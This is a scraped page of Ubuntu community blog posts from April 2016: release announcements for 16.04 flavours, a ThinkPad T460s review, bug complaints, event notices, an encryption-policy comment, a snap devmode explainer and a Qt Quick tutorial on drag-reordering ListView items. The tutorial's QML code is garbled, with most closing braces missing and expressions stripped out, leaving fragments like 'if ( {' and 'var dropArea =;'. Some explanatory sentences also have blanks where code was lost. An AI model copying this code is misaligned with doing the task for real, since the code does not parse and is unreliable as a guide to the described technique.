Ubuntu 16.04 LTS release announcement:

Special thanks to each and everyone who made it happen. You’re the best, no
doubt about it.

Yet another achievement 😀

If you have any questions, please don’t hesitate to contact us.

Thank you for choosing and using Ubuntu GNOME!

Ali Jawad
Ubuntu GNOME Release and Community Manager

on April 25, 2016 12:58 PM

The wisest words spoken

Stuart Langridge

If all the world’s a stage
Then light my way
Because out, out your brief candle is not
Four centuries past, yet I still cannot grasp
That undiscovered country that makes words immortal
If the good that men do is interred with their bones
Then this precious stone is a beauty too rich
Methinks it’s a jewel in the ear of us all
As the wisest words spoken are spoken by fools

from This Gives Life To Thee, performed by Akala, Nitin Sawhney, and Dane Hurst, as part of the BBC’s Shakespeare Live! From the RSC, 23rd April 2016.

on April 25, 2016 08:09 AM

To replace my aging and broken ThinkPad E Series (the cheaper and plastic-er ThinkPad), getting the latest and greatest in ThinkPad was decidedly the best course to go. After much deliberation, the T460s was my choice. So after a couple weeks with it, here is my review.

It's definitely a ThinkPad

The T460s like all ThinkPads is an understated, matte black box with minimal branding. To give this box some toughness, Lenovo uses a combination of magnesium-alloy for the chassis plus carbon-fibre-reinforced plastic to surround the display for the lid, all of which feels very nice. The T460s is also much thinner and lighter than most of the other laptops Lenovo's ThinkPad lineup (save the X1 series) at 1.88 cm (0.74 in) tall and weighing just 1.36 kg (3.0 lb).

Performance & Hardware

While this model is configured with a dual-core Intel Skylake Core i5 chip at 2.80 GHz, it is configurable up to a Core i7, also dual-core, at 3.40 GHz, which isn't spectacular but is comparable with many other laptops in this class.

Fortunately, the magnesium case isn't a unibody design and the innards are easily accessible by unscrewing a few Phillips screws in the base. Memory-wise, the T460s comes with either 4GB or 8GB integrated with the motherboard, but there is a single slot for up to 16GB of additional DDR4 RAM which allows for some upgradeability. The same goes for the removable solid-state (and only solid-state) drive.

All this makes the T460s very quick to boot, but not necessarily a powerhouse. For me, it has enough performance for most tasks –it handles my graphics workload without a hitch.

Battery Life, Heat & Noise

The thinness of the T460s comes with a trade-off: you lose the swappable battery you find on most ThinkPads which is a good trade-off in my view. Instead the T460s has two 3-cell internal batteries (23Wh & 26Wh each) which gives it a purported max 10.5 hours of battery life however under pretty intensive use I've gotten more in the range of 7-8 hours.

While it's plugged-in and charging the underside of the T460s does get a little warm, but not significantly, which is likely a side effect of the laptop being thin and it using its metal enclosure to passively disperse heat.

Speaking of heat: fans. It has one, but not so you'd notice. Most of the time the T460s is dead silent thanks to its SSD and passive cooling, even on the rare occasion when the fan is running, it's so quiet you'd never know.

Ports & Connectivity

Keeping with ThinkPads' usefulness, Lenovo has crammed a tonne of ports into the sides of the T460s. The left hosts a single USB 3.0 port, a headphone jack and an SD card slot –the AC adapter plugs into this side as well. On right side you'll find 2 more USB 3.0 ports one of which is powered, HDMI out, a Mini DisplayPort, GigaBit Ethernet, a Kensington lock slot plus a SIM card & Smart card reader slot (regardless if you have either of those options).

You also get the usual assortment of the latest connectivity hardware in this Thinkpad: Intel 802.11ac wireless, Bluetooth 4.1 and optionally a WWAN module, with all the latest wireless standards.


The display is a 14" IPS non-touch display at 1920x1080, but you can upgrade to a 2K (2560x1440) display with or without multi-touch.

Even at lowest configuration (1080p) the display is great, it's sufficiently bright and crisp with 250 nits and a 700:1 contrast ratio. Nearly all sane viewing angles are covered, as well a few insane ones since the display can open to a full 180° –why one would do this is beyond me– and the hinge its on is very rigid.

Keyboard & Input

The chiclet-style keyboard is an excellent typing experience, as you would expect from a ThinkPad, with ample travel on each key and a satisfying click. There are a few nice details like LED indicators for the FnLock and CapsLock keys as well as the Mute key, and I've opted to have the entire keyboard LED backlit as well. My only keyboard grievance is the Windows-specific keys in the function row, instead of more generic items –alas, this is a symptom of the Microsoft monopoly.

Now the touchpad in this ThinkPad isn't best-in-class, but it's sufficiently large and sports multitouch support –software-permitting–. But many ThinkPad users, like myself, go in for the requisite TrackPoint and if you like it, then great, if not, it's never in the way and if anything the addition buttons above the trackpad are still useful regardless if you use the nub. And in my view the little bit of red among all the black is a nice aesthetic touch.

Aside from the keyboard, nub and touchpad, the only other things on this side of the T460s are the power button and a fingerprint reader (which I haven't used, more on that later).

Camera & Audio

The 720p camera is a pretty standard webcam, which is paired with a dual-array microphone. The speakers, however, leave a bit to be desired. They're pretty much devoid of bass and at higher volumes things start to sound tinny. Also, being on the bottom of the laptop they will be slightly muffled if you happen to have the T460s on your lap or another soft surface. So stick to hard surfaces for the best sound or pack some headphones.

(One audio-related annoyance that I can't really fault Lenovo for overlooking is that at some volumes certain frequencies will vibrate the anti-static plastic tape that is on the inside of the laptop covering parts of the motherboard. That's my theory at least, I haven't removed the tape to test it.)

Does it run Linux?

Since I and probably many of you care about Linux support, I'm glad to say it does. However, since the T460s is brand new hardware, there may be issues running distros that ship older kernels (but I haven't tested that so don't hold me to it). But I'm all about using the latest and greatest, and Ubuntu 16.04 installs and works without a hitch. Driver-wise, the only thing that has no support at all is the fingerprint reader –which is no big loss– but everything else works great. That being said, that painlessness is due to the fact that Ubuntu ships proprietary drivers, if you care about that sort of thing.

The T460s comes with Windows 10, obviously, which is authenticated for Secure Boot (no entering license keys!) so you shouldn't have a problem reinstalling Windows 10 if you chose to do so.

Bottom Line

If you like the ThinkPad aesthetic (as I do) and don't mind the battery losses in exchange for a new thinner body and are looking for a great (Linux) laptop, then I'd very much recommend the T460s. The drawbacks it does have, lie mostly in with its mediocre speakers.

In my view, the best ThinkPads are and always will be machines for getting stuff done without compromising performance, durability or productivity. If you'd prefer a laptop with a flashier design and higher specs for the sake of higher specs, or if you value things like brushed aluminum and pounding bass, look elsewhere. But know that none of those other laptops are a ThinkPad.

  • Hardware & Design9
  • Keyboard10
  • Touchpad8
  • Display9
  • Speakers7
  • Battery8
  • Heat & Noise8
  • Performance8
  • Linux Compatibility10
on April 25, 2016 05:00 AM

April 24, 2016

Ubuntu 16.04

Svetlana Belkin

A few days ago, the next  (long term support) release of Ubuntu was released code named Xenial Xerus.  Like many, I decided to upgrade, no, not like the last four times where I upgraded directly.  This time I decided to freshly install Ubuntu 16.04 because I started to run into the whole  “problems on top of problems” issue.  My other excuse was to see if  can write a pair of  scripts that can automate the backup/restore process. Which I was able to with the help of a fellow friend of mine: Simon Quigley.

I used 16.04 for maybe a week before the release to test out the script and to also test out the system.  I hate to say this but I don’t really see or feel a difference between the last LTS and this one.  Perhaps, I didn’t explore it enough because I didn’t have time or maybe I’m still a basic end-user.  The only two differences I that noted was that fact that my favorite IRC client, X-chat, isn’t the repos but I can understand that since it’s not being maintained anymore and the other difference is that the file manger got a makeover for external drivers (now listed as “Other Locations”).

Because of the difference that X-chat isn’t in the repos, I decided to switch to Irssi.   Also, I will kick off a new series of post titled, “What I use on Ubuntu”, and they will explain what programs I use and how I use them.

on April 24, 2016 09:15 PM

It is common in user interfaces to provide the user with a list of elements which can be reordered by dragging them around. Displaying a list of elements with Qt Quick is easy, thanks to the ListView component. Giving the user the ability to reorder them is less straightforward. This 3 article series presents one way to implement this.

The goal of this first article is to create a list which can be used like this:

Reordering elements in a ListView


The approach I used was to do all the work in a DraggableItem, leaving the ListView untouched. DraggableItem is used as the delegate of the ListView, and wraps the real QML item responsible for showing the details of the list element.

Lets start with main.qml. Nothing fancy at the beginning, we create a Window and a ListModel defining our elements:

import QtQuick 2.6
import QtQuick.Window 2.2
import QtQuick.Controls 1.4
import QtQuick.Layouts 1.1

Window {
    visible: true
    width: 500
    height: 400

    ListModel {
        id: myModel
        ListElement {
            text: "The Phantom Menace"
        ListElement {
            text: "Attack of the Clones"
        ListElement {
            text: "Revenge of the Siths"
        ListElement {
            text: "A New Hope"
        ListElement {
            text: "The Empire Strikes Back"
        ListElement {
            text: "Return of the Jedi"
        ListElement {
            text: "The Force Awakens"

Now comes the main Item. It contains a ColumnLayout which holds a Rectangle faking a toolbar and our ListView, wrapped in a ScrollView:

Item {
    id: mainContent
    anchors.fill: parent
    ColumnLayout {
        anchors.fill: parent
        spacing: 0

        Rectangle {
            color: "lightblue"
            height: 50
            Layout.fillWidth: true

            Text {
                anchors.centerIn: parent
                text: "A fake toolbar"

        ScrollView {
            Layout.fillWidth: true
            Layout.fillHeight: true
            ListView {
                id: listView
                model: myModel
                delegate: DraggableItem {
                    Rectangle {
                        height: textLabel.height * 2
                        width: listView.width
                        color: "white"

                        Text {
                            id: textLabel
                            anchors.centerIn: parent
                            text: model.text

                        // Bottom line border
                        Rectangle {
                            anchors {
                                left: parent.left
                                right: parent.right
                                bottom: parent.bottom
                            height: 1
                            color: "lightgrey"

                    draggedItemParent: mainContent

                    onMoveItemRequested: {
                        myModel.move(from, to, 1);

We can see DraggableItem used as a delegate of the ListView. Its API is simple: it wraps another item which shows the content (here it is a rectangle with a text and a one-pixel border at the bottom).

DraggableItem has one property: draggedItemParent, which defines which item becomes the parent of our content item while it is being dragged around. Setting this to the main content of your window gives a more natural feeling when you drag the item below or above the ListView: the item is not clipped to its view and appears on top of the other UI elements.

It also has a signal: moveItemRequested, which is emitted when the user dragged an item from one place to another. In this example we use ListModel.move to react to this but if you use a custom model you could call any other method.

DraggableItem implementation

DraggableItem contains a contentItemWrapper item, which is the parent of the DraggableItem child. When we start dragging, contentItemWrapper is reparented to the item specified in the draggedItemParent property of DraggableItem.

This is the beginning of DraggableItem.qml, it shows how contentItem is wrapped inside contentItemWrapper:

import QtQuick 2.0

Item {
    id: root

    default property Item contentItem

    // This item will become the parent of the dragged item during the drag operation
    property Item draggedItemParent

    signal moveItemRequested(int from, int to)

    width: contentItem.width
    height: contentItem.height

    // Make contentItem a child of contentItemWrapper
    onContentItemChanged: {
        contentItem.parent = contentItemWrapper;

    Rectangle {
        id: contentItemWrapper
        anchors.fill: parent

Lets finish the definition of contentItemWrapper and continue with the code necessary to start the drag:

        Drag.hotSpot {
            x: contentItem.width / 2
            y: contentItem.height / 2

        MouseArea {
            id: dragArea
            anchors.fill: parent
            // Keep the dragged item at the same X position. Nice for lists, but not mandatory
            drag.axis: Drag.YAxis
            // Disable smoothed so that the Item pixel from where we started the drag remains
            // under the mouse cursor
            drag.smoothed: false

            onReleased: {
                if ( {

    states: [
        State {
            name: "dragging"

            ParentChange {
                target: contentItemWrapper
                parent: draggedItemParent
            PropertyChanges {
                target: contentItemWrapper
                opacity: 0.9
                anchors.fill: undefined
                width: contentItem.width
                height: contentItem.height
            PropertyChanges {
                target: root
                height: 0

A few things are worth noting here:

To create a draggable area, we use a MouseArea with the property set to the Item we want to drag.

In contentItemWrapper, we set to If we did not do this, we would still be able to drag our Item, but DropArea would not notice it moving hover them (DropArea.containsDrag would remain false). We also define Drag.hotspot to the center of the dragged item. The hotspot is the coordinate within the dragged item which is used by DropArea to determine if a dragged item is over them.

When we start dragging, we change to the "dragging" state. In this state contentItemWrapper is reparented to draggedItemParent and the DraggableItem height is reduced to 0, completely hiding it.

Unless you associate data to your drag, for example to implement dragging from an application to another, the DropArea won't emit the dropped signal. This is why we trigger the move in the handler of the MouseArea released signal.


Now that we have the "drag" part, we need to take care of the "drop" part.

Each DraggableItem contains a DropArea which is the same size as the DraggableItem and is positioned between its DraggableItem and the one next to it. This way when the user drops an item on a DropArea, we know we have to insert the dragged item after the item which owns the DropArea.

There is a special case though: we also want the user to be able to drop an item before the first item. To handle this, the first DraggableItem of the list is going to be special: it will have another DropArea, with its vertical center aligned to the top edge of the DraggableItem.

This diagram should make it clearer:

DropArea positions

As you can see, "Item 0" has two DropArea, whereas the other items only have one. Here is the code which adds the DropAreas:

Loader {
    id: topDropAreaLoader
    active: model.index === 0
    anchors {
        left: parent.left
        right: parent.right
        bottom: root.verticalCenter
    height: contentItem.height
    sourceComponent: Component {
        DraggableItemDropArea {
            dropIndex: 0

DraggableItemDropArea {
    anchors {
        left: parent.left
        right: parent.right
        top: root.verticalCenter
    height: contentItem.height
    dropIndex: model.index + 1

We use a Loader to create the special DropArea for the first item of the list. DraggableItemDropArea is just a DropArea with a dropIndex property and a Rectangle to show a drop indicator. Before showing its code, lets finish the code of DraggableItem. The only remaining part is the function responsible for emitting the moveItemRequested signal:

function emitMoveItemRequested() {
    var dropArea =;
    if (!dropArea) {
    var dropIndex = dropArea.dropIndex;

    // If the target item is below us, then decrement dropIndex because the target item is
    // going to move up when our item leaves its place
    if (model.index < dropIndex) {
    if (model.index === dropIndex) {
    root.moveItemRequested(model.index, dropIndex);

That's it for DraggableItem.


Not much complexity here, we will actually remove this component later in the series. Here is the code:

import QtQuick 2.0

DropArea {
    id: root
    property int dropIndex

    Rectangle {
        id: dropIndicator
        anchors {
            left: parent.left
            right: parent.right
            top: dropIndex === 0 ? parent.verticalCenter : undefined
            bottom: dropIndex === 0 ? undefined : parent.verticalCenter
        height: 2
        opacity: root.containsDrag ? 0.8 : 0.0
        color: "red"

DraggableItemDropArea adds a dropIndex property and a Rectangle to draw the 2 pixel red line indicating where the item is going to be dropped, with a small hack to position the Rectangle correctly for the special case of the top DropArea of the first DraggableItem.

That's it for this first article in the series. You can find the complete source code here. Stay tuned for the next one!

on April 24, 2016 04:28 PM
The Raspberry Pi 2 version of Lubuntu has been updated to Lubuntu 16.04 LTS. Now it’s available at the downloads section. Grab it while it’s hot!
on April 24, 2016 01:18 PM
Xenial development

Having recently relieved myself of various Ubuntu related commitments I've now become somewhat of a "floating contributor." Over the last few months I've spent a lot of time submitting and commenting on bug reports, testing ISOs and generally keeping abreast of what has been happening amongst various Ubuntu flavours especially Xubuntu. I continue to be very impressed by the hard work and enthusiasm of the "flavour" development teams who are of course all  unpaid volunteers.

Xubuntu 16.04 LTS
Xubuntu 16.04 LTS
During the latter stages of the Xenial development cycle I tried to bring certain bugs to the attention of the developers and also provided the Xubuntu team with feedback about bugs specific to their flavour. I wish I could have done a lot more but I do have other interests and commitments especially at weekends when the sun is shining and I decide I'd rather be outdoors.

An annoying Ubuntu bug

Back in May 2015, Charles Profitt wrote a blog post entitled "Ubuntu Trash Bug", in which he stated that he would not upgrade to Ubuntu 15.04 because a bug bothered him so much.

I recently remembered reading his post and thought that after working with the development version of Ubuntu 16.04 LTS for several months I've also seen a number of trivial bugs that have also bothered me greatly. They've been reported on Launchpad, added to the ISO Tracker numerous times yet Xenial Xerus has been released with a number of these bugs still very evident.

For me, the most annoying bug in Ubuntu Xenial Xerus is bug #1521302 where gnome terminal windows that have been maximised in a Unity session cannot be restored to their original size. As a keen user of the command line I really hope that this bug, which of course is affecting many more users now that 16.04 has been released, will be fixed by the time of the first point release later in the year. Sadly the bug report is starting to attract adverse comments from users who just wish to express their opinion about the general usability, as they see it, of the latest release.

My recommended alternative for now is terminator which isn't affected by this bug.

Yakkety Yak

I'm sure that I was not alone in thinking that that next release of Ubuntu might be called Yakkety Yak but then thought that there's no way that Mark Shuttleworth would ever chose such an obvious codename. Of course I was wrong.

However, Yakkety Yak, or however you might want to spell it, will always remind me of this:

on April 24, 2016 11:28 AM

Over the coming week, there are a vast number of free software events taking place around the world.

I'll be at the LinuxWochen Vienna and MiniDebConf Vienna, the events run over four days from Thursday, 28 April to Sunday, 1 May.

At MiniDebConf Vienna, I'll be giving a talk on Saturday (schedule not finalized yet) about our progress with free Real-Time Communications (RTC) and welcoming 13 new GSoC students (and their mentors) working on this topic under the Debian umbrella.

On Sunday, Iain Learmonth and I will be collaborating on a workshop/demonstration on Software Defined Radio from the perspective of ham radio and the Debian Ham Radio Pure Blend. If you want to be an active participant, an easy way to get involved is to bring an RTL-SDR dongle. It is highly recommended that instead of buying any cheap generic dongle, you buy one with a high quality temperature compensated crystal oscillator (TXCO), such as those promoted by

Saturday, 30 April is also Linux Presentation Day in many places. There is an event in Switzerland organized by the local local FSFE group in Basel.

DebConf16 is only a couple of months away now, Registration is still open and the team are keenly looking for additional sponsors. Sponsors are a vital part of such a large event, if your employer or any other organization you know benefits from Debian, please encourage them to contribute.

on April 24, 2016 06:23 AM

April 23, 2016

As a follow-up to my recent post on the debate in the US over new encryption restrictions, I thought a short addition might be relevant.  This continues.

There was a recent Congressional hearing on the topic that featured mostly what you would expect.  Police always want access to any possible source of evidence and the tech industry tries to explain that the risks associated with mandates to do so are excessive with grandstanding legislators sprinkled throughout.   What I found interesting (and I use that word with some trepidation as it is still a multi-hour video of a Congressional hearing) is that there was rather less grandstanding and and less absolutism from some parties than I was expecting.

There is overwhelming consensus that these requirements [for exceptional access] are incompatible with good security engineering practice

Dr. Matthew Blaze

The challenge is that political people see everything as a political/policy issue, but this isn’t that kind of issue.  I get particularly frustrated when I read ignorant ramblings like this that dismiss the overwhelming consensus of the people that actually understand what needs to be done as emotional, hysterical obstructionism.  Contrary to what seems to be that author’s point, constructive dialogue and understanding values does nothing to change the technical risks of mandating exceptional access.  Of course the opponents of Feinstein-Burr decry it as technologically illiterate, it is technologically illiterate.

This doesn’t quite rise to the level of that time the Indiana state legislature considered legislating a new value (or in fact multiple values) for the mathematical constant Pi, but it is in the same legislative domain.

on April 23, 2016 10:12 PM

CORRECTION 2016.04.23 - It was previously stated that 16.04 is a point release to 14.04. This was due to a silly copy&paste issue from our previous release statement for 14.04. The Mythbuntu 16.04 release is a flavor of Ubuntu 16.04. We're sorry for any confusion this has caused.

Mythbuntu 16.04 has been released. This is our third LTS release and will be supported until shortly after the 18.04 release.

The Mythbuntu team would like to thank our ISO testers for helping find critical bugs before release. You guys rock!

With this release, we are providing torrents only. It is very important to note that this release is only compatible with MythTV 0.28 systems. The MythTV component of previous Mythbuntu releases can be be upgraded to a compatible MythTV version by using the Mythbuntu Repos. For a more detailed explanation, see here.

You can get the Mythbuntu ISO from our downloads page.


Underlying system

  • Underlying Ubuntu updates are found here


We appreciated all comments and would love to hear what you think. Please make comments to our mailing list, on the forums (with a tag indicating that this is from 16.04 or xenial), or in #ubuntu-mythtv on Freenode. As previously, if you encounter any issues with anything in this release, please file a bug using the Ubuntu bug tool (ubuntu-bug PACKAGENAME) which automatically collects logs and other important system information, or if that is not possible, directly open a ticket on Launchpad (

Known issues

on April 23, 2016 10:02 PM

April 22, 2016

In this short video tutorial, we will see how to use the new Snap package manager to search and install/remove Snap packages and some useful commands.
on April 22, 2016 07:02 PM

snap install --devmode

Zygmunt Krynicki

This is very short post about a particular feature of snappy that many people don't know about.

You can install a snap using "snap install --devmode ...".  The presence of --devmode switches confinement, for that snap only, from enforcing mode where the application is rejected from accessing certain things (or killed, depending on access pattern) to complain mode where the application is allowed to do anything, as the local user could, but appropriate messages are logged to let developers know that something would not normally work.

Development mode is aimed at snap developers to let them understand what their application (or application toolkit) is doing under the hood. We are working on a separate tool that works along --devmode applications, analysing log files and offering suggestions as to which interfaces to use.
on April 22, 2016 12:32 PM

April 21, 2016

Y is for…

Mark Shuttleworth

Yakkety yakkety yakkety yakkety yakkety yakkety yakkety yakkety yak. Naturally 🙂

on April 21, 2016 11:40 PM